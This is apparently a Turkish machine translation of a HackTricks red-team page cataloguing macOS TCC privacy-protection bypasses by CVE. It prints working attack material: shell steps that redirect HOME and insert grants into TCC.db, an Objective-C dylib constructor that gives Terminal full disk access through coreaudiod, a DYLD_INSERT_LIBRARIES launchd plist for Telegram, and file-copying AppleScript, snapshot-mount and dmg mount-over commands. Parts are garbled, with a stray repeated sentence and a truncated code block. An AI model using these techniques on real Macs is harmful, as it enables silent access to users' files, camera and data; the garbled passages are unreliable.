macOS TCC Bypasses

Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'i desteklemenin diğer yolları:

İşlevselliğe Göre

Yazma Atlatması

Bu bir atlatma değil, sadece TCC'nin nasıl çalıştığıdır: Yazmayı korumaz. Terminal bir kullanıcının Masaüstünü okuma erişimine sahip değilse bile içine yazabilir:

username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % echo asd > Desktop/lalala
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd

Genişletilmiş öznitelik com.apple.macl, oluşturucu uygulamanın onu okuma erişimine sahip olması için yeni dosyaya eklenir.

TCC ClickJacking

Kullanıcıyı fark etmeden kabul etmesini sağlamak için TCC uyarısının üzerine bir pencere yerleştirilebilir. Bir PoC'yi TCC-ClickJacking'de bulabilirsiniz.

Keyfi İsimle TCC İsteği

Saldırgan, Info.plist içinde herhangi bir isimle uygulamalar oluşturabilir (örneğin Finder, Google Chrome...) ve bu uygulamanın bazı TCC korumalı konumlara erişim istemesini sağlayabilir. Kullanıcı, meşru uygulamanın bu erişimi isteyen uygulama olduğunu düşünecektir. Dahası, meşru uygulamayı Dock'tan kaldırmak ve sahte olanı yerine koymak mümkündür, böylece kullanıcı sahte olanı tıkladığında (aynı simgeyi kullanabilir) meşru olanı çağırabilir, TCC izinlerini isteyebilir ve kötü amaçlı yazılımı yürütebilir, böylece kullanıcı meşru uygulamanın erişimi istediğine inanır.

Daha fazla bilgi ve PoC için:

pagemacOS Privilege Escalation

SSH Atlatma

Varsayılan olarak **SSH üzerinden erişim "Tam Disk Erişimi"**ne sahiptir. Bunun devre dışı bırakılması için listelenmiş ancak devre dışı bırakılmış olması gerekir (listeden kaldırmak bu ayrıcalıkları kaldırmaz):

İşte bazı zararlı yazılımların bu korumayı atlatmayı nasıl başardığını gösteren örnekler:

Şu anda SSH'yi etkinleştirebilmek için Tam Disk Erişimi'ne ihtiyacınız vardır

Uzantıları İşleme - CVE-2022-26767

Dosyalara belirli bir uygulamanın okuma izinlerini vermek için com.apple.macl özniteliği verilir. Bu öznitelik, bir dosyayı bir uygulamanın üzerine sürükleyip bıraktığınızda veya bir kullanıcı bir dosyayı varsayılan uygulama ile açmak için çift tıkladığında ayarlanır.

Bu nedenle, bir kullanıcı tüm uzantıları işlemek için kötü amaçlı bir uygulama kaydedebilir ve Launch Services'ı çağırarak herhangi bir dosyayı açabilir (bu nedenle kötü amaçlı dosya okuma izni verilir).

iCloud

com.apple.private.icloud-account-access yetkisiyle com.apple.iCloudHelper XPC hizmeti ile iletişim kurulabilir ve bu hizmet iCloud belgelerini sağlayabilir.

iMovie ve Garageband bu yetkiye sahipti ve diğerleri de sahipti.

Bu yetkiden icloud belgelerini almak için bir açıdan söz eden söyleşi hakkında daha fazla bilgi için: #OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula

kTCCServiceAppleEvents / Otomasyon

kTCCServiceAppleEvents iznine sahip bir uygulama diğer Uygulamaları kontrol edebilir. Bu, diğer Uygulamalara verilen izinleri kötüye kullanabileceği anlamına gelir.

Apple Betikleri hakkında daha fazla bilgi için kontrol edin:

pagemacOS Apple Scripts

Örneğin, bir Uygulamanın iTerm üzerinde Otomasyon izni varsa, örneğin bu örnekte Terminal'in iTerm üzerinde erişimi vardır:

iTerm Üzerinde

FDA'ya sahip olmayan Terminal, FDA'ya sahip iTerm'i çağırabilir ve onu kullanarak işlemler gerçekleştirebilir:

iterm.script
tell application "iTerm"
activate
tell current window
create tab with default profile
end tell
tell current session of current window
write text "cp ~/Desktop/private.txt /tmp"
end tell
end tell

Bu bölümde, macOS TCC (Transparency, Consent, and Control) atlamaları hakkında bilgi bulabilirsiniz.

osascript iterm.script

Finder Üzerinden

Veya bir Uygulamanın Finder üzerinde erişimi varsa, şöyle bir betik çalıştırabilir:

set a_user to do shell script "logname"
tell application "Finder"
set desc to path to home folder
set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
end tell
do shell script "rm " & POSIX path of (copyFile as alias)

Uygulama davranışına göre

CVE-2020–9934 - TCC

tccd daemon kullanıcının TCC kullanıcı veritabanına erişmek için HOME env değişkenini kullandığı kullanıcı alanıdır: $HOME/Library/Application Support/com.apple.TCC/TCC.db

This Stack Exchange post 'e göre ve TCC daemonunun mevcut kullanıcının etki alanı içinde launchd aracılığıyla çalıştırıldığından, onunla iletilen tüm çevre değişkenlerini kontrol etmek mümkündür. Bu nedenle, bir saldırgan launchctl içinde $HOME çevre değişkenini kontrol edilen bir dizine işaret etmek için ayarlayabilir, TCC daemonunu yeniden başlatabilir ve ardından TCC veritabanını doğrudan değiştirerek kendisine kullanılabilir tüm TCC ayrıcalıklarını vererek son kullanıcıya hiçbir zaman sormadan. PoC:

# reset database just in case (no cheating!)
$> tccutil reset All
# mimic TCC's directory structure from ~/Library
$> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC"
# cd into the new directory
$> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/"
# set launchd $HOME to this temporary directory
$> launchctl setenv HOME /tmp/tccbypass
# restart the TCC daemon
$> launchctl stop com.apple.tccd && launchctl start com.apple.tccd
# print out contents of TCC database and then give Terminal access to Documents
$> sqlite3 TCC.db .dump
$> sqlite3 TCC.db "INSERT INTO access
VALUES('kTCCServiceSystemPolicyDocumentsFolder',
'com.apple.Terminal', 0, 1, 1,
X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',
NULL,
NULL,
'UNUSED',
NULL,
NULL,
1333333333333337);"
# list Documents directory without prompting the end user
$> ls ~/Documents

CVE-2021-30761 - Notlar

Notlar, TCC korumalı konumlara erişime sahipti ancak bir not oluşturulduğunda bu korumalı olmayan bir konumda oluşturulur. Bu nedenle, notlardan birinin korumalı bir dosyayı bir nota kopyalamasını isteyebilir ve ardından dosyaya erişebilirsiniz:

CVE-2021-30782 - Taşınma

/usr/libexec/lsd ikili dosyası, libsecurity_translocate kütüphanesi ile com.apple.private.nullfs_allow yetkisine sahipti, bu da nullfs bağlantısı oluşturmasına izin veriyordu ve com.apple.private.tcc.allow yetkisine sahipti ve kTCCServiceSystemPolicyAllFiles ile her dosyaya erişim sağlıyordu.

"Library" klasörüne karantina özniteliği eklemek, com.apple.security.translocation XPC servisini çağırmak ve ardından Library'yi $TMPDIR/AppTranslocation/d/d/Library olarak eşlemek ve Library içindeki tüm belgelere erişmek mümkündü.

CVE-2023-38571 - Müzik ve TV

Müzik ilginç bir özelliğe sahiptir: Çalıştığında, kullanıcının "ortam kütüphanesine" ~/Music/Music/Media.localized/Automatically Add to Music.localized bırakılan dosyaları içe aktaracaktır. Dahası, şuna benzer bir şey çağırır: rename(a, b); burada a ve b şunlardır:

  • a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"

  • b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3

Bu rename(a, b); davranışı bir Yarış Koşuluna karşı savunmasızdır, çünkü Automatically Add to Music.localized klasörüne sahte bir TCC.db dosyası yerleştirmek ve ardından yeni klasörün (b) oluşturulduğunda dosyayı kopyalamak, silmek ve onu ~/Library/Application Support/com.apple.TCC'ye yönlendirmek mümkündür.

SQLITE_SQLLOG_DIR - CVE-2023-32422

Eğer SQLITE_SQLLOG_DIR="yol/klasör" ise temelde herhangi bir açık db o yola kopyalanır. Bu CVE'de bu kontrol, FDA'ya sahip bir işlem tarafından açılacak bir SQLite veritabanına yazmak için kötüye kullanıldı ve ardından SQLITE_SQLLOG_DIR'yi dosya adındaki sembolik bağlantı ile kötüye kullanmak, böylece bu veritabanı açıldığında, kullanıcı TCC.db'si açılanla üzerine yazılır. Daha fazla bilgi yazılımda ve sunumda.

SQLITE_AUTO_TRACE

Eğer SQLITE_AUTO_TRACE ortam değişkeni ayarlanmışsa, libsqlite3.dylib kütüphanesi tüm SQL sorgularını günlüğe kaydetmeye başlayacaktır. Birçok uygulama bu kütüphaneyi kullandığından, tüm SQLite sorgularını günlüğe kaydetmek mümkündü.

Birçok Apple uygulaması, TCC korumalı bilgilere erişmek için bu kütüphaneyi kullandı.

# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1

MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407

Bu çevre değişkeni, çeşitli programların bağımlılığı olan Metal çerçevesi tarafından kullanılır, en önemlisi Music programıdır, FDA'ya sahiptir.

Aşağıdakini ayarlayarak: MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name". Eğer path geçerli bir dizin ise, hata tetiklenecek ve programda neler olup bittiğini görmek için fs_usage kullanabiliriz:

  • open() ile path/.dat.nosyncXXXX.XXXXXX (X rastgele) adında bir dosya açılacak

  • bir veya daha fazla write() işlemi içeriği dosyaya yazacak (bunu kontrol etmiyoruz)

  • path/.dat.nosyncXXXX.XXXXXX rename() ile path/name olarak yeniden adlandırılacak

Bu geçici bir dosya yazma işlemidir, ardından güvenli olmayan bir şekilde rename(eski, yeni) işlemi gerçekleşir.

Bu güvenli değildir çünkü eski ve yeni yolları ayrı ayrı çözmesi gerekir, bu da biraz zaman alabilir ve Yarış Koşulu'na karşı savunmasız olabilir. Daha fazla bilgi için xnu fonksiyonu renameat_internal()'a bakabilirsiniz.

Yani, temelde, ayrıcalıklı bir işlem, kontrol ettiğiniz bir klasörden yeniden adlandırma yaparsa, bir RCE kazanabilir ve erişimi farklı bir dosyaya yönlendirebilir veya bu CVE'de olduğu gibi, ayrıcalıklı uygulamanın oluşturduğu dosyayı açabilir ve bir FD saklayabilir.

Yeniden adlandırma, kontrol ettiğiniz bir klasöre erişirse, kaynak dosyayı değiştirmişseniz veya bir FD'si varsa, hedef dosyayı (veya klasörü) bir sembolik bağa işaret etmek için değiştirebilirsiniz, böylece istediğiniz zaman yazabilirsiniz.

Bu, CVE'deki saldırıydı: Örneğin, kullanıcının TCC.db dosyasını üzerine yazmak için şunları yapabiliriz:

  • /Users/hacker/ourlink'i /Users/hacker/Library/Application Support/com.apple.TCC/'ye yönlendiren bir bağ oluşturun

  • /Users/hacker/tmp/ dizinini oluşturun

  • MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db olarak ayarlayın

  • bu çevre değişkeniyle Music'i çalıştırarak hatayı tetikleyin

  • /Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX'in open()'ını yakalayın (X rastgele)

  • burada ayrıca bu dosyayı yazmak için open() yapın ve dosya tanımlayıcısını elinizde tutun

  • /Users/hacker/tmp'yi atomik olarak /Users/hacker/ourlink ile bir döngü içinde değiştirin

  • bunu yapmamızın nedeni, yarış penceresinin oldukça dar olması nedeniyle başarılı olma şansımızı maksimize etmek, ancak yarışı kaybetmenin ihmal edilebilir bir dezavantajı vardır

  • biraz bekleyin

  • şanslı olup olmadığımızı test edin

  • değilse, tekrar en baştan çalıştırın

Daha fazla bilgi için https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html

Şimdi, eğer MTL_DUMP_PIPELINES_TO_JSON_FILE çevre değişkenini kullanmaya çalışırsanız, uygulamalar başlatılmaz

Apple Uzak Masaüstü

Root olarak bu hizmeti etkinleştirebilir ve ARD ajanı tam disk erişimine sahip olacak, bu da ardından bir kullanıcının yeni bir TCC kullanıcı veritabanı kopyalamasını sağlamak için kötüye kullanılabilir.

NFSHomeDirectory ile

TCC, kullanıcının HOME klasöründeki bir veritabanını kontrol etmek için kullanır, bu da kullanıcının $HOME/Library/Application Support/com.apple.TCC/TCC.db yolundaki kullanıcıya özgü kaynaklara erişimi kontrol etmek için kullanılır. Bu nedenle, kullanıcı, bir $HOME çevresel değişkenini farklı bir klasöre işaret edecek şekilde TCC'yi yeniden başlatmayı başarırsa, kullanıcı /Library/Application Support/com.apple.TCC/TCC.db'de yeni bir TCC veritabanı oluşturabilir ve TCC'yi herhangi bir uygulamaya herhangi bir TCC iznini vermesi için kandırabilir.

Apple, NFSHomeDirectory özelliğinde kullanıcının profilinde depolanan ayarları kullanır, bu nedenle bu değeri değiştirmeye izin veren izinlere sahip bir uygulamayı ele geçirirseniz (kTCCServiceSystemPolicySysAdminFiles), bu seçeneği bir TCC atlatma ile silahlandırabilirsiniz.

CVE-2021-30970 - Powerdir

İlk POC, hedef uygulama için bir csreq blogu kullanır.

  1. Hedef uygulama için bir csreq blogu alın.

  2. Gerekli erişimlere sahip sahte bir TCC.db dosyası ve csreq blogunu yerleştirin.

  3. Kullanıcının Directory Hizmetleri girişini dsexport ile dışa aktarın.

  4. Kullanıcının ev dizinini değiştirmek için Directory Hizmetleri girişini değiştirin.

  5. Değiştirilmiş Directory Hizmetleri girişini dsimport ile içe aktarın.

  6. Kullanıcının tccd'sini durdurun ve işlemi yeniden başlatın.

İkinci POC, com.apple.private.tcc.allow değeri kTCCServiceSystemPolicySysAdminFiles olan /usr/libexec/configd'yi kullanıyordu. Bir saldırgan, configd'yi -t seçeneğiyle çalıştırarak özel bir Paket yüklemesini belirleyebilirdi. Bu nedenle, saldırı, kullanıcının ev dizinini değiştirmenin configd kod enjeksiyonu ile dsexport ve dsimport yöntemini değiştirmesini sağlar.

Daha fazla bilgi için orijinal rapora bakın.

İşlem enjeksiyonu ile

Bir işlem içine kod enjekte etmek ve TCC ayrıcalıklarını kötüye kullanmak için farklı teknikler vardır:

pagemacOS Process Abuse

Ayrıca, TCC'yi atlatmak için en yaygın işlem enjeksiyonu, eklentiler (kütüphane yükleme) aracılığıyla gerçekleştirilir. Eklentiler genellikle kütüphane veya plist biçiminde ekstra kodlardır, ana uygulama tarafından yüklenir ve kendi bağlamı altında çalıştırılır. Bu nedenle, ana uygulamanın TCC kısıtlı dosyalara erişimi varsa (izin verilen izinler veya yetkilendirmeler aracılığıyla), özel kod da buna sahip olacaktır.

CVE-2020-27937 - Directory Utility

Uygulama /System/Library/CoreServices/Applications/Directory Utility.app, kTCCServiceSystemPolicySysAdminFiles yetkisine sahipti, .daplug uzantılı eklentileri yüklüyordu ve sertleştirilmiş çalışma zamanına sahip değildi.

Bu CVE'yi silahlandırmak için, NFSHomeDirectory değiştirilir (önceki yetkiyi kötüye kullanarak) ve TCC'yi atlatmak için kullanıcının TCC veritabanını ele geçirebilmek için değiştirilir.

Daha fazla bilgi için orijinal rapora bakın.

CVE-2020-29621 - Coreaudiod

/usr/sbin/coreaudiod ikili dosyasının com.apple.security.cs.disable-library-validation ve com.apple.private.tcc.manager yetkileri vardı. İlk yetki kod enjeksiyonuna izin verirken, ikinci yetki ise TCC'yi yönetme erişimi sağlıyordu.

Bu ikili dosya, /Library/Audio/Plug-Ins/HAL klasöründen üçüncü taraf eklentileri yüklemeye izin veriyordu. Bu nedenle, bu PoC ile bir eklenti yüklemek ve TCC izinlerini kötüye kullanmak mümkündü:

#import <Foundation/Foundation.h>
#import <Security/Security.h>

extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);

void add_tcc_entry() {
CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles");

CFStringRef bundleID = CFSTR("com.apple.Terminal");
CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple");
SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement);
CFDataRef requirementData = NULL;
SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData);

TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue);
}

__attribute__((constructor)) static void constructor(int argc, const char **argv) {

add_tcc_entry();

NSLog(@"[+] Exploitation finished...");
exit(0);

Daha fazla bilgi için orijinal rapora bakın.

Aygıt Soyutlama Katmanı (DAL) Eklentileri

Core Media I/O aracılığıyla kamera akışını açan sistem uygulamaları (kTCCServiceCamera'ya sahip uygulamalar) bu eklentileri /Library/CoreMediaIO/Plug-Ins/DAL konumunda yükler (SIP kısıtlaması olmayan).

Oraya yaygın bir kurucu ile bir kütüphane saklamak, kod enjekte etmek için çalışacaktır.

Bu konuda birkaç Apple uygulaması savunmasızdı.

Firefox

Firefox uygulamasında com.apple.security.cs.disable-library-validation ve com.apple.security.cs.allow-dyld-environment-variables yetkileri bulunmaktaydı:

codesign -d --entitlements :- /Applications/Firefox.app
Executable=/Applications/Firefox.app/Contents/MacOS/firefox

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
<true/>
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
<key>com.apple.security.cs.allow-dyld-environment-variables</key><true/>
<true/>
<key>com.apple.security.device.audio-input</key>
<true/>
<key>com.apple.security.device.camera</key>
<true/>
<key>com.apple.security.personal-information.location</key>
<true/>
<key>com.apple.security.smartcard</key>
<true/>
</dict>
</plist>

Bu orijinal raporu kontrol etmek için daha fazla bilgi için bakın.

CVE-2020-10006

/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl ikili dosyasında com.apple.private.tcc.allow ve com.apple.security.get-task-allow yetkileri vardı, bu da süreç içine kod enjekte etmeye ve TCC izinlerini kullanmaya olanak tanıdı.

CVE-2023-26818 - Telegram

Telegram'ın com.apple.security.cs.allow-dyld-environment-variables ve com.apple.security.cs.disable-library-validation yetkileri vardı, bu nedenle kamerayla kayıt yapma gibi izinlerine erişmek mümkündü. Payload'ı yazılımında bulabilirsiniz.

Bir kütüphaneyi yüklemek için env değişkenini kullanmanın nasıl yapıldığına dikkat edin, bir özel plist bu kütüphaneyi enjekte etmek için oluşturuldu ve launchctl bunu başlatmak için kullanıldı:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.telegram.launcher</string>
<key>RunAtLoad</key>
<true/>
<key>EnvironmentVariables</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/tmp/telegram.dylib</string>
</dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Telegram.app/Contents/MacOS/Telegram</string>
</array>
<key>StandardOutPath</key>
<string>/tmp/telegram.log</string>
<key>StandardErrorPath</key>
<string>/tmp/telegram.log</string>
</dict>
</plist>
launchctl load com.telegram.launcher.plist

Açık çağrılarla

open komutunu kumanda edebilmek mümkündür, hatta kumanda edilirken bile kumanda edilebilir

Terminal Betikleri

Terminal Tam Disk Erişimi (TDE) vermek oldukça yaygındır, en azından teknik kişiler tarafından kullanılan bilgisayarlarda. Ve .terminal betiklerini bu şekilde kullanmak mümkündür.

.terminal betikleri, CommandString anahtarında yürütülecek komutla birlikte olan bu örnekteki gibi plist dosyalarıdır:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>CommandString</key>
<string>cp ~/Desktop/private.txt /tmp/;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>

Bir uygulama, /tmp gibi bir konumda bir terminal betiği yazabilir ve şu şekilde bir komutla başlatabilir:

// Write plist in /tmp/tcc.terminal
[...]
NSTask *task = [[NSTask alloc] init];
NSString * exploit_location = @"/tmp/tcc.terminal";
task.launchPath = @"/usr/bin/open";
task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
exploit_location]; task.standardOutput = pipe;
[task launch];

Montaj Yoluyla

CVE-2020-9771 - mount_apfs TCC atlatma ve ayrıcalık yükseltme

Herhangi bir kullanıcı (hatta ayrıcalıksız olanlar bile) bir zaman makinesi anı görüntüsü oluşturabilir ve monte edebilir ve o anı görüntüsündeki TÜM dosyalara erişebilir. Kullanılan uygulamanın (örneğin Terminal) Tam Disk Erişimi (FDA) erişimine sahip olması gereken tek ayrıcalık, bunun bir yönetici tarafından verilmesi gereken (kTCCServiceSystemPolicyAllfiles) ayrıcalıktır.

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

Daha detaylı bir açıklama orijinal raporda bulunabilir.

CVE-2021-1784 ve CVE-2021-30808 - TCC dosyası üzerine bağlama

TCC DB dosyası korunsa bile, yeni bir TCC.db dosyasını üzerine bağlamak mümkündü:

# CVE-2021-1784
## Mount over Library/Application\ Support/com.apple.TCC
hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TCC test.dmg

# CVE-2021-1784
## Mount over ~/Library
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg

Bu bölümde, macOS TCC (Transparency, Consent, and Control) atlamaları hakkında bilgi bulabilirsiniz.

# This was the python function to create the dmg
def create_dmg():
os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \"tccbypass\" -fs APFS 1>/dev/null")
os.system("mkdir /tmp/mnt")
os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null")
os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null")

Orijinal yazıda bulunan tam exploit için orijinal yazıya bakın.

asr

/usr/sbin/asr aracı, TCC korumalarını atlayarak tüm diski kopyalamaya ve başka bir yere bağlamaya izin veriyordu.

Konum Hizmetleri

/var/db/locationd/clients.plist içinde üçüncü bir TCC veritabanı bulunur ve burada konum hizmetlerine erişime izin verilen istemciler belirtilir. /var/db/locationd/ klasörü DMG bağlama koruması olmadığından kendi plist'imizi bağlamak mümkündü.

Başlangıç uygulamalarıyla

pagemacOS Auto Start

Grep ile

Bazı durumlarda dosyalar hassas bilgileri (e-postalar, telefon numaraları, mesajlar...) korunmayan konumlarda saklar (bu da Apple için bir zafiyet olarak kabul edilir).

Sentetik Tıklamalar

Bu artık çalışmıyor, ancak geçmişte çalışıyordu:

Başka bir yol CoreGraphics olayları kullanarak:

Referans

Last updated